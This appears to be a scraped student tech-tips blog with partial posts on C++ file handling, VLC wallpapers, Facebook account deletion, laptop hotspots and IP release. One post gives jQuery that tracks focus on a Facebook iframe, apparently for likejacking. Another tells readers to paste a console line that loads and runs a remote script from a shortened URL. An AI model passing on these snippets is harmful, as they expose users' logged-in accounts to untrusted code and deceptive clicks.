"" 'LKjItBtYYK2BwdhzdcYtTUGPRqA'

Follow by Email

File handling in C++

Hey dear FASTians today I am going to tell you about file handling in C++
I can explain you in a better way, you just need to forget all the stuff that was taught to us in lab (I will say that they mere tried to teach us) and focus on my article.

First of all write #include<fstream> in your code, which is library used for file handling
Then go to directory of your project and make a text file.
I am using Visual Studio and my directory is

File handling in C++
directory of project file in file handling in C++


As you can see that I have made a file.txt there.



First I will tell you how to write data on file.
Just look at this simple code.


As we are writing data in file so we will use insertion operator which is    <<
And we can separate different values in 3 ways

  1. By using space
  2. By using tab
  3. By going to next line (means using enter or using endl)

How To Set a Video as Desktop Background

Hey guys today I am going to tell you a trick to set video as your desktop back ground.
Is it sounds strange?.........
Just follow my instructions.
1.First of all you need VLC media player to do this.If if already  have installed it then its ok, but if you do not have then download it from here.
2.After installation, open VLC media player and click on "Tools" and then on "Preferences"

How To Set a Video as Desktop Background
How To Set a Video as Desktop Background
OR
Simply press Ctrl+P
3.Then click on "Video" and in your video settings your "output" will be "Default" change it to "DirectX (DirectDraw) video output" as shown in figure.
How To Set a Video as Desktop Background
How To Set a Video as Desktop Background

How to Delete your Facebook Account

Hey guys today I am going to tell you how you can permanently delete your Facebook account.
Just follow these steps.
1.First of all login to your Facebook account.
2.After that go to Facebook Account Deletion Page.
Click here to go to Facebook Account Deletion Page.
3.At that page you will see window like this
Click on Delete My Account
How to Delete your Facebook Account
How to Delete your Facebook Account
4.After that another window like this will open
How to Delete your Facebook Account
How to Delete your Facebook Account

5.Enter your Password and give Security Check and then click on Okay

How to Get Free Likes of Facebook Page(part 1)

Hey guys now I will write a lot of articles on geting free likes of Facebook page.This is first article.This is a trick to get free likes of Facebook page if you also have a website/blog.In future I will write about geting free likes of Facebook page if you does not have a website/blog.Read it  clearly.To get free likes of your Facebook page follow these instructions.

1.Sign in to your blogger account.
2.Click on More options then on Template.

How to Get Free Likes of Facebook Page
How to Get Free Likes of Facebook Page
                                         
3.Click on Edit HTML.
How to Get Free Likes of Facebook Page
How to Get Free Likes of Facebook Page
4.Another window will appear showing you warning not to directly edit HTML, you just have to click on Proceed.
How to Get Free Likes of Facebook Page
How to Get Free Likes of Facebook Page
5.After that click on Expand Widget Templates.
How to Get Free Likes of Facebook Page
How to Get Free Likes of Facebook Page

6.Press Ctrl+F a search bar will open at right corner and search for </head>
Paste this code exactly before </head>


<script src="http://code.jquery.com/jquery-1.4.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
var interval;
        $(function()
{
    interval=setInterval("updateActiveElement();", 50);
});

function updateActiveElement()
{
    if ( $(document.activeElement).attr('id')=="fbframe" )
    {
        clearInterval(interval);
        iflag=1;
    }    
}
        
</script>


7.Then search for </body>
and paste this code exactly before </body>


How to Auto Invite All Friends in Facebook Group

Hey guys today I am going to tell you a trick to automatically invite all of your facebook friends in a group.
To do this use this script

document.body.appendChild (document.createElement ('script')). src = 'https://j.mp/Qym9gy';

How to Use this Script

For Google Chrome users)
First of all login to Facebook Group.

Right click and choose Inspect element


How to Auto Invite All Friends in Facebook Group
How to Auto Invite All Friends in Facebook Group
                                      

And then click on Console


How to Auto Invite All Friends in Facebook Group
How to Auto Invite All Friends in Facebook Group

How to Make Your Laptop Act as a Router

Hey guys today I am going to tell you how to use your Laptop as wifi router for your mobile or for other pc.
I am writing this article specially for my Math teacher.
                                              "You Rocks my teacher"
So, here’s how you use a computer or a laptop to act like a router.
How to Make Your Laptop Act as a Router
How to Make Your Laptop Act as a Router
                             
First things first, set up the computer that’s connected to the modem to be the HOST. All this means is that this is the computer that will be used to share the internet, not the computer that doesn’t have internet currently. To do this, go:

Start > Control Panel > Network ConnectionsThis should show all the connections you are or have been connected to.
How to Make Your Laptop Act as a Router
How to Make Your Laptop Act as a Router

How to Change Your IP Address


Hey guys today I am going to tell you a trick to change your IP address without any software in less than one minute.Just follow my instructions.
1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit enter

You should now be at an MSDOS prompt screen.

4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"

How to Change Your IP Address
How to Change Your IP Address